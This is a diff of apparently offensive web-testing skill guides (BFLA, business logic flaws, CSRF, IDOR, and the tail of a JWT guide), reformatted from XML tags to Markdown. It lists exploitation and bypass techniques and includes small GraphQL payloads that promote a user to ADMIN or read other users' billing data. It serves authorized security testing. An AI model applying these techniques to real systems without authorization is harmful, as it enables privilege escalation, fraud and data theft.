-<remember>Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.</remember>
-</authentication_jwt_guide>
+### Remember
+
+Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.

strix/skills/vulnerabilities/broken_function_level_authorization.md

@@ -1,146 +1,150 @@
-<broken_function_level_authorization_guide>
-<title>BROKEN FUNCTION LEVEL AUTHORIZATION (BFLA)</title>
+# BROKEN FUNCTION LEVEL AUTHORIZATION (BFLA)
 
-<critical>BFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action.</critical>
+## Critical
+
+BFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action.
+
+## Scope
 
-<scope>
 - Vertical authz: privileged/admin/staff-only actions reachable by basic users
 - Feature gates: toggles enforced at edge/UI, not at core services
 - Transport drift: REST vs GraphQL vs gRPC vs WebSocket with inconsistent checks
 - Gateway trust: backends trust X-User-Id/X-Role injected by proxies/edges
 - Background workers/jobs performing actions without re-checking authz
-</scope>
 
-<methodology>
+## Methodology
+
 1. Build an Actor × Action matrix with at least: unauth, basic, premium, staff/admin. Enumerate actions (create/update/delete, approve/cancel, impersonate, export, invite, role-change, credit/refund).
 2. Obtain tokens/sessions for each role. Exercise every action across all transports and encodings (JSON, form, multipart), including method overrides.
 3. Vary headers and contextual selectors (org/tenant/project) and test behavior behind gateway vs direct-to-service.
 4. Include background flows: job creation/finalization, webhooks, queues. Confirm re-validation of authz in consumers.
-</methodology>
 
-<discovery_techniques>
-<surface_enumeration>
+## Discovery Techniques
+
+### Surface Enumeration
+
 - Admin/staff consoles and APIs, support tools, internal-only endpoints exposed via gateway
 - Hidden buttons and disabled UI paths (feature-flagged) mapped to still-live endpoints
 - GraphQL schemas: mutations and admin-only fields/types; gRPC service descriptors (reflection)
 - Mobile clients often reveal extra endpoints/roles in app bundles or network logs
-</surface_enumeration>
 
-<signals>
+### Signals
+
 - 401/403 on UI but 200 via direct API call; differing status codes across transports
 - Actions succeed via background jobs when direct call is denied
 - Changing only headers (role/org) alters access without token change
-</signals>
 
-<high_value_actions>
+### High Value Actions
+
 - Role/permission changes, impersonation/sudo, invite/accept into orgs
 - Approve/void/refund/credit issuance, price/plan overrides
 - Export/report generation, data deletion, account suspension/reactivation
 - Feature flag toggles, quota/grant adjustments, license/seat changes
 - Security settings: 2FA reset, email/phone verification overrides
-</high_value_actions>
 
-<exploitation_techniques>
-<verb_drift_and_aliases>
+### Exploitation Techniques
+
+#### Verb Drift And Aliases
+
 - Alternate methods: GET performing state change; POST vs PUT vs PATCH differences; X-HTTP-Method-Override/_method
 - Alternate endpoints performing the same action with weaker checks (legacy vs v2, mobile vs web)
-</verb_drift_and_aliases>
 
-<edge_vs_core_mismatch>
+#### Edge Vs Core Mismatch
+
 - Edge blocks an action but core service RPC accepts it directly; call internal service via exposed API route or SSRF
 - Gateway-injected identity headers override token claims; supply conflicting headers to test precedence
-</edge_vs_core_mismatch>
 
-<feature_flag_bypass>
+#### Feature Flag Bypass
+
 - Client-checked feature gates; call backend endpoints directly
 - Admin-only mutations exposed but hidden in UI; invoke via GraphQL or gRPC tools
-</feature_flag_bypass>
 
-<batch_job_paths>
+#### Batch Job Paths
+
 - Create export/import jobs where creation is allowed but finalize/approve lacks authz; finalize others' jobs
 - Replay webhooks/background tasks endpoints that perform privileged actions without verifying caller
-</batch_job_paths>
 
-<content_type_paths>
+#### Content Type Paths
+
 - JSON vs form vs multipart handlers using different middleware: send the action via the most permissive parser
-</content_type_paths>
-</exploitation_techniques>
 
-<advanced_techniques>
-<graphql>
+### Advanced Techniques
+
+#### Graphql
+
 - Resolver-level checks per mutation/field; do not assume top-level auth covers nested mutations or admin fields
 - Abuse aliases/batching to sneak privileged fields; persisted queries sometimes bypass auth transforms
 - Example:
-{% raw %}
+```
 mutation Promote($id:ID!){
   a: updateUser(id:$id, role: ADMIN){ id role }
 }
-{% endraw %}
-</graphql>
+```
+
+#### Grpc
 
-<grpc>
 - Method-level auth via interceptors must enforce audience/roles; probe direct gRPC with tokens of lower role
 - Reflection lists services/methods; call admin methods that the gateway hid
-</grpc>
 
-<websocket>
+#### Websocket
+
 - Handshake-only auth: ensure per-message authorization on privileged events (e.g., admin:impersonate)
 - Try emitting privileged actions after joining standard channels
-</websocket>
 
-<multi_tenant>
+#### Multi Tenant
+
 - Actions requiring tenant admin enforced only by header/subdomain; attempt cross-tenant admin actions by switching selectors with same token
-</multi_tenant>
 
-<microservices>
+#### Microservices
+
 - Internal RPCs trust upstream checks; reach them through exposed endpoints or SSRF; verify each service re-enforces authz
-</microservices>
 
-<bypass_techniques>
-<header_trust>
+#### Bypass Techniques
+
+##### Header Trust
+
 - Supply X-User-Id/X-Role/X-Organization headers; remove or contradict token claims; observe which source wins
-</header_trust>
 
-<route_shadowing>
+##### Route Shadowing
+
 - Legacy/alternate routes (e.g., /admin/v1 vs /v2/admin) that skip new middleware chains
-</route_shadowing>
 
-<idempotency_and_retries>
+##### Idempotency And Retries
+
 - Retry or replay finalize/approve endpoints that apply state without checking actor on each call
-</idempotency_and_retries>
 
-<cache_key_confusion>
+##### Cache Key Confusion
+
 - Cached authorization decisions at edge leading to cross-user reuse; test with Vary and session swaps
-</cache_key_confusion>
-</bypass_techniques>
 
-<validation>
+#### Validation
+
 1. Show a lower-privileged principal successfully invokes a restricted action (same inputs) while the proper role succeeds and another lower role fails.
 2. Provide evidence across at least two transports or encodings demonstrating inconsistent enforcement.
 3. Demonstrate that removing/altering client-side gates (buttons/flags) does not affect backend success.
 4. Include durable state change proof: before/after snapshots, audit logs, and authoritative sources.
-</validation>
 
-<false_positives>
+#### False Positives
+
 - Read-only endpoints mislabeled as admin but publicly documented
 - Feature toggles intentionally open to all roles for preview/beta with clear policy
 - Simulated environments where admin endpoints are stubbed with no side effects
-</false_positives>
 
-<impact>
+#### Impact
+
 - Privilege escalation to admin/staff actions
 - Monetary/state impact: refunds/credits/approvals without authorization
 - Tenant-wide configuration changes, impersonation, or data deletion
 - Compliance and audit violations due to bypassed approval workflows
-</impact>
 
-<pro_tips>
+#### Pro Tips
+
 1. Start from the role matrix; test every action with basic vs admin tokens across REST/GraphQL/gRPC.
 2. Diff middleware stacks between routes; weak chains often exist on legacy or alternate encodings.
 3. Inspect gateways for identity header injection; never trust client-provided identity.
 4. Treat jobs/webhooks as first-class: finalize/approve must re-check the actor.
 5. Prefer minimal PoCs: one request that flips a privileged field or invokes an admin method with a basic token.
-</pro_tips>
 
-<remember>Authorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks.</remember>
-</broken_function_level_authorization_guide>
+#### Remember
+
+Authorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks.

strix/skills/vulnerabilities/business_logic.md

@@ -1,46 +1,48 @@
-<business_logic_flaws_guide>
-<title>BUSINESS LOGIC FLAWS</title>
+# BUSINESS LOGIC FLAWS
 
-<critical>Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.</critical>
+## Critical
+
+Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.
+
+## Scope
 
-<scope>
 - Financial logic: pricing, discounts, payments, refunds, credits, chargebacks
 - Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion
 - Authorization-by-logic: feature gates, role transitions, approval workflows
 - Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing
 - Multi-tenant isolation: cross-organization data or action bleed
 - Event-driven flows: jobs, webhooks, sagas, compensations, idempotency
-</scope>
 
-<methodology>
+## Methodology
+
 1. Enumerate a state machine per critical workflow (states, transitions, pre/post-conditions). Note invariants (e.g., "refund ≤ captured amount").
 2. Build an Actor × Action × Resource matrix with at least: unauth, basic user, premium, staff/admin; identify actions per role.
 3. For each transition, test step skipping, repetition, reordering, and late mutation (modify inputs after validation but before commit).
 4. Introduce time, concurrency, and channel variance: repeat with parallel requests, different content-types, mobile/web/API/GraphQL.
 5. Validate persistence boundaries: verify that all services, queues, and jobs re-enforce invariants (no trust in upstream validation).
-</methodology>
 
-<discovery_techniques>
-<workflow_mapping>
+## Discovery Techniques
+
+### Workflow Mapping
+
 - Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints
 - Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions
 - Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription)
-</workflow_mapping>
 
-<input_surface>
+### Input Surface
+
 - Hidden fields and client-computed totals; server must recompute on trusted sources
 - Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation
 - Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes
-</input_surface>
 
-<state_time_axes>
+### State Time Axes
+
 - Replays: resubmit stale finalize/confirm requests
 - Out-of-order: call finalize before verify; refund before capture; cancel after ship
 - Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges
-</state_time_axes>
-</discovery_techniques>
 
-<high_value_targets>
+## High Value Targets
+
 - Pricing/cart: price locks, quote to order, tax/shipping computation
 - Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement
 - Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys
@@ -49,112 +51,114 @@
 - Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges
 - Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags
 - Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters
-</high_value_targets>
 
-<exploitation_techniques>
-<state_machine_abuse>
+## Exploitation Techniques
+
+### State Machine Abuse
+
 - Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition
 - Replay prior steps with altered parameters (e.g., swap price after approval but before capture)
 - Split a single constrained action into many sub-actions under the threshold (limit slicing)
-</state_machine_abuse>
 
-<concurrency_and_idempotency>
+### Concurrency And Idempotency
+
 - Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer)
 - Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache
 - Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund
-</concurrency_and_idempotency>
 
-<numeric_and_currency>
+### Numeric And Currency
+
 - Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries
 - Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order
 - Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails
-</numeric_and_currency>
 
-<quotas_limits_inventory>
+### Quotas Limits Inventory
+
 - Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s
 - Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies
 - Distributed counters without strong consistency enabling double-consumption
-</quotas_limits_inventory>
 
-<refunds_chargebacks>
+### Refunds Chargebacks
+
 - Double-refund: refund via UI and support tool; refund partials summing above captured amount
 - Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks
-</refunds_chargebacks>
 
-<feature_gates_and_roles>
+### Feature Gates And Roles
+
 - Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled
 - Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion)
-</feature_gates_and_roles>
 
-<advanced_techniques>
-<event_driven_sagas>
+### Advanced Techniques
+
+#### Event Driven Sagas
+
 - Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation
 - Outbox/Inbox patterns missing idempotency → duplicate downstream side effects
 - Cron/backfill jobs operating outside request-time authorization; mutate state broadly
-</event_driven_sagas>
 
-<microservices_boundaries>
+#### Microservices Boundaries
+
 - Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls
 - Header trust: internal services trusting X-Role or X-User-Id from untrusted edges
 - Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state
-</microservices_boundaries>
 
-<multi_tenant_isolation>
+#### Multi Tenant Isolation
+
 - Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs
 - Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement
-</multi_tenant_isolation>
 
-<bypass_techniques>
+#### Bypass Techniques
+
 - Content-type switching (json/form/multipart) to hit different code paths
 - Method alternation (GET performing state change; overrides via X-HTTP-Method-Override)
 - Client recomputation: totals, taxes, discounts computed on client and accepted by server
 - Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware
-</bypass_techniques>
 
-<special_contexts>
-<ecommerce>
+#### Special Contexts
+
+##### Ecommerce
+
 - Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes
 - Modify shipping tier post-quote; abuse returns to keep product and refund
-</ecommerce>
 
-<banking_fintech>
+##### Banking Fintech
+
 - Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies
 - Exploit grace periods on holds/authorizations to withdraw again before settlement
-</banking_fintech>
 
-<saas_b2b>
+##### SaaS B2B
+
 - Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks
 - Usage metering: report late or duplicate usage to avoid billing or to over-consume
-</saas_b2b>
-</special_contexts>
 
-<chaining_attacks>
+#### Chaining Attacks
+
 - Business logic + race: duplicate benefits before state updates
 - Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs
 - Business logic + CSRF: force a victim to complete a sensitive step sequence
-</chaining_attacks>
 
-<validation>
+#### Validation
+
 1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas).
 2. Provide side-by-side evidence for intended vs abused flows with the same principal.
 3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views).
 4. Quantify impact per action and at scale (unit loss × feasible repetitions).
-</validation>
 
-<false_positives>
+#### False Positives
+
 - Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits)
 - Visual-only inconsistencies with no durable or exploitable state change
 - Admin-only operations with proper audit and approvals
-</false_positives>
 
-<impact>
+#### Impact
+
 - Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption)
 - Regulatory/contractual violations (billing accuracy, consumer protection)
 - Denial of inventory/services to legitimate users through resource exhaustion
 - Privilege retention or unauthorized access to premium features
-</impact>
 
-<pro_tips>
+#### Pro Tips
+
 1. Start from invariants and ledgers, not UI—prove conservation of value breaks.
 2. Test with time and concurrency; many bugs only appear under pressure.
 3. Recompute totals server-side; never accept client math—flag when you observe otherwise.
@@ -165,7 +169,7 @@
 8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss.
 9. Chain with authorization tests (IDOR/Function-level access) to magnify impact.
 10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards.
-</pro_tips>
 
-<remember>Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.</remember>
-</business_logic_flaws_guide>
+#### Remember
+
+Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.

strix/skills/vulnerabilities/csrf.md

@@ -1,23 +1,25 @@
-<csrf_vulnerability_guide>
-<title>CROSS-SITE REQUEST FORGERY (CSRF)</title>
+# CROSS-SITE REQUEST FORGERY (CSRF)
 
-<critical>CSRF abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change.</critical>
+## Critical
+
+CSRF abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change.
+
+## Scope
 
-<scope>
 - Web apps with cookie-based sessions and HTTP auth
 - JSON/REST, GraphQL (GET/persisted queries), file upload endpoints
 - Authentication flows: login/logout, password/email change, MFA toggles
 - OAuth/OIDC: authorize, token, logout, disconnect/connect
-</scope>
 
-<methodology>
+## Methodology
+
 1. Inventory all state-changing endpoints (including admin/staff) and note method, content-type, and whether they are reachable via top-level navigation or simple requests (no preflight).
 2. For each, determine session model (cookies with SameSite attrs, custom headers, tokens) and whether server enforces anti-CSRF tokens and Origin/Referer.
 3. Attempt preflightless delivery (form POST, text/plain, multipart/form-data) and top-level GET navigation.
 4. Validate across browsers; behavior differs by SameSite and navigation context.
-</methodology>
 
-<high_value_targets>
+## High Value Targets
+
 - Credentials and profile changes (email/password/phone)
 - Payment and money movement, subscription/plan changes
 - API key/secret generation, PAT rotation, SSH keys
@@ -25,142 +27,142 @@
 - OAuth connect/disconnect; logout; account deletion
 - Admin/staff actions and impersonation flows
 - File uploads/deletes; access control changes
-</high_value_targets>
 
-<discovery_techniques>
-<session_and_cookies>
+## Discovery Techniques
+
+### Session And Cookies
+
 - Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None). Note that Lax allows cookies on top-level cross-site GET; None requires Secure.
 - Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone).
-</session_and_cookies>
 
-<token_and_header_checks>
+### Token And Header Checks
+
 - Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers). Test removal, reuse across requests, reuse across sessions, and binding to method/path.
 - Verify server checks Origin and/or Referer on state changes; test null/missing and cross-origin values.
-</token_and_header_checks>
 
-<method_and_content_types>
+### Method And Content Types
+
 - Confirm whether GET, HEAD, or OPTIONS perform state changes.
 - Try simple content-types to avoid preflight: application/x-www-form-urlencoded, multipart/form-data, text/plain.
 - Probe parsers that auto-coerce text/plain or form-encoded bodies into JSON.
-</method_and_content_types>
 
-<cors_profile>
+### Cors Profile
+
 - Identify Access-Control-Allow-Origin and -Credentials. Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration.
 - Test per-endpoint CORS differences; preflight vs simple request behavior can diverge.
-</cors_profile>
-</discovery_techniques>
 
-<exploitation_techniques>
-<navigation_csrf>
+## Exploitation Techniques
+
+### Navigation Csrf
+
 - Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced.
 - Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks.
-</navigation_csrf>
 
-<simple_ct_csrf>
+### Simple Ct Csrf
+
 - application/x-www-form-urlencoded and multipart/form-data POSTs do not require preflight; prefer these encodings.
 - text/plain form bodies can slip through validators and be parsed server-side.
-</simple_ct_csrf>
 
-<json_csrf>
+### Json Csrf
+
 - If server parses JSON from text/plain or form-encoded bodies, craft parameters to reconstruct JSON server-side.
-- Some frameworks accept JSON keys via form fields (e.g., {% raw %}data[foo]=bar{% endraw %}) or treat duplicate keys leniently.
-</json_csrf>
+- Some frameworks accept JSON keys via form fields (e.g., `data[foo]=bar`) or treat duplicate keys leniently.
+
+### Login Logout Csrf
 
-<login_logout_csrf>
 - Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attacker’s account.
 - Login CSRF: submit attacker credentials to victim’s browser; later actions occur under attacker’s account.
-</login_logout_csrf>
 
-<oauth_oidc_flows>
+### Oauth Oidc Flows
+
 - Abuse authorize/logout endpoints reachable via GET or form POST without origin checks; exploit relaxed SameSite on top-level navigations.
 - Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations.
-</oauth_oidc_flows>
 
-<file_and_action_endpoints>
+### File And Action Endpoints
+
 - File upload/delete often lack token checks; forge multipart requests to modify storage.
 - Admin actions exposed as simple POST links are frequently CSRFable.
-</file_and_action_endpoints>
-</exploitation_techniques>
 
-<advanced_techniques>
-<samesite_nuance>
+## Advanced Techniques
+
+### Samesite Nuance
+
 - Lax-by-default cookies are sent on top-level cross-site GET but not POST; exploit GET state changes and GET-based confirmation steps.
 - Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices.
-</samesite_nuance>
 
-<origin_referer_obfuscation>
+### Origin Referer Obfuscation
+
 - Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null.
 - about:blank/data: URLs alter Referer; ensure server requires explicit Origin/Referer match.
-</origin_referer_obfuscation>
 
-<method_override>
+### Method Override
+
 - Backends honoring _method or X-HTTP-Method-Override may allow destructive actions through a simple POST.
-</method_override>
 
-<graphql_csrf>
+### Graphql Csrf
+
 - If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads.
 - Batched operations may hide mutations within a nominally safe request.
-</graphql_csrf>
 
-<websocket_csrf>
+### Websocket Csrf
+
 - Browsers send cookies on WebSocket handshake; enforce Origin checks server-side. Without them, cross-site pages can open authenticated sockets and issue actions.
-</websocket_csrf>
-</advanced_techniques>
 
-<bypass_techniques>
-<token_weaknesses>
+## Bypass Techniques
+
+### Token Weaknesses
+
 - Accepting missing/empty tokens; tokens not tied to session, user, or path; tokens reused indefinitely; tokens in GET.
 - Double-submit cookie without Secure/HttpOnly, or with predictable token sources.
-</token_weaknesses>
 
-<content_type_switching>
+### Content Type Switching
+
 - Switch between form, multipart, and text/plain to reach different code paths and validators.
 - Use duplicate keys and array shapes to confuse parsers.
-</content_type_switching>
 
-<header_manipulation>
+### Header Manipulation
+
 - Strip Referer via meta refresh or navigate from about:blank; test null Origin acceptance.
 - Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens.
-</header_manipulation>
-</bypass_techniques>
 
-<special_contexts>
-<mobile_spa>
+## Special Contexts
+
+### Mobile Spa
+
 - Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links.
 - SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable.
-</mobile_spa>
 
-<integrations>
+### Integrations
+
 - Webhooks and back-office tools sometimes expose state-changing GETs intended for staff; confirm CSRF defenses there too.
-</integrations>
-</special_contexts>
 
-<chaining_attacks>
+## Chaining Attacks
+
 - CSRF + IDOR: force actions on other users' resources once references are known.
 - CSRF + Clickjacking: guide user interactions to bypass UI confirmations.
 - CSRF + OAuth mix-up: bind victim sessions to unintended clients.
-</chaining_attacks>
 
-<validation>
+## Validation
+
 1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting.
 2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified.
 3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch).
 4. Provide before/after state evidence for the same account.
 5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin).
-</validation>
 
-<false_positives>
+## False Positives
+
 - Token verification present and required; Origin/Referer enforced consistently.
 - No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests.
 - Only idempotent, non-sensitive operations affected.
-</false_positives>
 
-<impact>
+## Impact
+
 - Account state changes (email/password/MFA), session hijacking via login CSRF, financial operations, administrative actions.
 - Durable authorization changes (role/permission flips, key rotations) and data loss.
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available.
 2. Test login/logout, OAuth connect/disconnect, and account linking first.
 3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them.
@@ -168,7 +170,7 @@
 5. For GraphQL, attempt GET queries or persisted queries that carry mutations.
 6. Always try method overrides and parser differentials.
 7. Combine with clickjacking when visual confirmations block CSRF.
-</pro_tips>
 
-<remember>CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller’s origin. Tokens and Origin checks must hold across methods, content-types, and transports.</remember>
-</csrf_vulnerability_guide>
+## Remember
+
+CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller’s origin. Tokens and Origin checks must hold across methods, content-types, and transports.

strix/skills/vulnerabilities/idor.md

@@ -1,41 +1,43 @@
-<idor_vulnerability_guide>
-<title>INSECURE DIRECT OBJECT REFERENCE (IDOR)</title>
+# INSECURE DIRECT OBJECT REFERENCE (IDOR)
 
-<critical>Object- and function-level authorization failures (BOLA/IDOR) routinely lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.</critical>
+## Critical
+
+Object- and function-level authorization failures (BOLA/IDOR) routinely lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.
+
+## Scope
 
-<scope>
 - Horizontal access: access another subject's objects of the same type
 - Vertical access: access privileged objects/actions (admin-only, staff-only)
 - Cross-tenant access: break isolation boundaries in multi-tenant systems
 - Cross-service access: token or context accepted by the wrong service
-</scope>
 
-<methodology>
+## Methodology
+
 1. Build a Subject × Object × Action matrix (who can do what to which resource).
 2. For each resource type, obtain at least two principals: owner and non-owner (plus admin/staff if applicable). Capture at least one valid object ID per principal.
 3. Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants, and channels (web, mobile, API, GraphQL, WebSocket, gRPC).
 4. Track consistency: the same rule must hold regardless of transport, content-type, serialization, or gateway.
-</methodology>
 
-<discovery_techniques>
-<parameter_analysis>
+## Discovery Techniques
+
+### Parameter Analysis
+
 - Object references appear in: paths, query params, JSON bodies, form-data, headers, cookies, JWT claims, GraphQL arguments, WebSocket messages, gRPC messages
 - Identifier forms: integers, UUID/ULID/CUID, Snowflake, slugs, composite keys (e.g., {orgId}:{userId}), opaque tokens, base64/hex-encoded blobs
 - Relationship references: parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId
 - Expansion/projection knobs: fields, include, expand, projection, with, select, populate (often bypass authorization in resolvers or serializers)
 - Pagination/cursors: page[offset], page[limit], cursor, nextPageToken (often reveal or accept cross-tenant/state)
-</parameter_analysis>
 
-<advanced_enumeration>
-- Alternate types: {% raw %}{"id":123}{% endraw} vs {% raw %}{"id":"123"}{% endraw}, arrays vs scalars, objects vs scalars, null/empty/0/-1/MAX_INT, scientific notation, overflows, unknown attributes retained by backend
-- Duplicate keys/parameter pollution: id=1&id=2, JSON duplicate keys {% raw %}{"id":1,"id":2}{% endraw} (parser precedence differences)
+### Advanced Enumeration
+
+- Alternate types: `{"id":123}` vs `{"id":"123"}`, arrays vs scalars, objects vs scalars, null/empty/0/-1/MAX_INT, scientific notation, overflows, unknown attributes retained by backend
+- Duplicate keys/parameter pollution: id=1&id=2, JSON duplicate keys `{"id":1,"id":2}` (parser precedence differences)
 - Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account
 - Path traversal-like in virtual file systems: /files/user_123/../../user_456/report.csv
 - Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation
-</advanced_enumeration>
-</discovery_techniques>
 
-<high_value_targets>
+## High Value Targets
+
 - Exports/backups/reporting endpoints (CSV/PDF/ZIP)
 - Messaging/mailbox/notifications, audit logs, activity feeds
 - Billing: invoices, payment methods, transactions, credits
@@ -44,141 +46,141 @@
 - File/object storage keys (S3/GCS signed URLs, share links)
 - Background jobs: import/export job IDs, task results
 - Multi-tenant resources: organizations, workspaces, projects
-</high_value_targets>
 
-<exploitation_techniques>
-<horizontal_vertical>
+## Exploitation Techniques
+
+### Horizontal Vertical
+
 - Swap object IDs between principals using the same token to probe horizontal access; then repeat with lower-privilege tokens to probe vertical access
 - Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications
-</horizontal_vertical>
 
-<bulk_and_batch>
+### Bulk And Batch
+
 - Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array
 - CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks
-</bulk_and_batch>
 
-<secondary_idor>
+### Secondary Idor
+
 - Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs, then fetch or mutate those objects directly
 - Pagination/cursor manipulation to skip filters and pull other users' pages
-</secondary_idor>
 
-<job_task_objects>
+### Job Task Objects
+
 - Access job/task IDs from one user to retrieve results for another (export/{jobId}/download, reports/{taskId})
 - Cancel/approve someone else's jobs by referencing their task IDs
-</job_task_objects>
 
-<file_object_storage>
+### File Object Storage
+
 - Direct object paths or weakly scoped signed URLs; attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants
 - Replace share tokens with tokens from other tenants; try case/URL-encoding variations
-</file_object_storage>
-</exploitation_techniques>
 
-<advanced_techniques>
-<graphql>
+## Advanced Techniques
+
+### Graphql
+
 - Enforce resolver-level checks: do not rely on a top-level gate. Verify field and edge resolvers bind the resource to the caller on every hop
 - Abuse batching/aliases to retrieve multiple users' nodes in one request and compare responses
-- Global node patterns (Relay): decode base64 IDs and swap raw IDs; test {% raw %}node(id: "...base64..."){...}{% endraw %}
+- Global node patterns (Relay): decode base64 IDs and swap raw IDs; test `node(id: "...base64..."){...}`
 - Overfetching via fragments on privileged types; verify hidden fields cannot be queried by unprivileged callers
 - Example:
-{% raw %}
+```
 query IDOR {
   me { id }
   u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
   u2: node(id: "VXNlcjo0NTc=") { ... on User { email } }
 }
-{% endraw %}
-</graphql>
+```
+
+### Microservices Gateways
 
-<microservices_gateways>
 - Token confusion: a token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks
 - Trust on headers: reverse proxies or API gateways injecting/trusting headers like X-User-Id, X-Organization-Id; try overriding or removing them
 - Context loss: async consumers (queues, workers) re-process requests without re-checking authorization
-</microservices_gateways>
 
-<multi_tenant>
+### Multi Tenant
+
 - Probe tenant scoping through headers, subdomains, and path params (e.g., X-Tenant-ID, org slug). Try mixing org of token with resource from another org
 - Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants
-</multi_tenant>
 
-<uuid_and_opaque_ids>
+### Uuid And Opaque Ids
+
 - UUID/ULID are not authorization: acquire valid IDs from logs, exports, JS bundles, analytics endpoints, emails, or public activity, then test ownership binding
